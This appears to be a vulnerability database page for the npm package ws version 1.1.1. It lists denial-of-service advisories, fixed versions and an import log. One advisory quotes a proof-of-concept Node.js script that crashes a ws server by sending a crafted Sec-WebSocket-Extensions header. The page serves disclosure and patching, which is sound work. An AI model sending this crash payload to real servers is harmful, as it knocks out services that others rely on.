Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/ws@1.1.1
purl pkg:npm/ws@1.1.1
Next non-vulnerable version 1.1.5
Latest non-vulnerable version 8.20.1
Risk 4.0
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-4851-mkc2-pqdw
Aliases:
GMS-2017-331
Denial of Service A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.
3.3.1
Affected by 1 other vulnerability.
VCID-4u5m-kp7t-x3cf
Aliases:
GHSA-5v72-xg48-5rpm
GMS-2019-145
Denial of Service in ws Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r' ].join('\r'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.
1.1.5
Affected by 0 other vulnerabilities.
3.3.1
Affected by 1 other vulnerability.
Vulnerabilities fixed by this package (2)
Vulnerability Summary Aliases
VCID-37mw-j411-a3az Improper Input Validation ws is a "simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455". By sending an overly long websocket payload to a `ws` server, it is possible to crash the node process. This affects ws 1.1.0 and earlier. CVE-2016-10542
GHSA-6663-c963-2gqg
VCID-hedn-18sd-bba2 DoS due to excessively large websocket message It is possible to crash the node process by sending an overly long websocket payload to a ws server. GMS-2016-38

Date Actor Action Vulnerability Source VulnerableCode Version
2026-05-31T11:18:57.810885+00:00 GithubOSV Importer Fixing VCID-37mw-j411-a3az https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-6663-c963-2gqg/GHSA-6663-c963-2gqg.json 38.6.0
2026-05-31T09:56:56.572828+00:00 GitLab Importer Affected by VCID-4u5m-kp7t-x3cf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2019-145.yml 38.6.0
2026-05-31T09:41:42.981454+00:00 GitLab Importer Affected by VCID-4851-mkc2-pqdw https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2017-331.yml 38.6.0
2026-05-31T00:51:26.221147+00:00 GHSA Importer Fixing VCID-37mw-j411-a3az https://github.com/advisories/GHSA-6663-c963-2gqg 38.6.0
2026-05-30T20:54:49.638724+00:00 GitLab Importer Fixing VCID-37mw-j411-a3az https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/CVE-2016-10542.yml 38.6.0
2026-05-30T20:52:28.757172+00:00 GitLab Importer Fixing VCID-hedn-18sd-bba2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2016-38.yml 38.6.0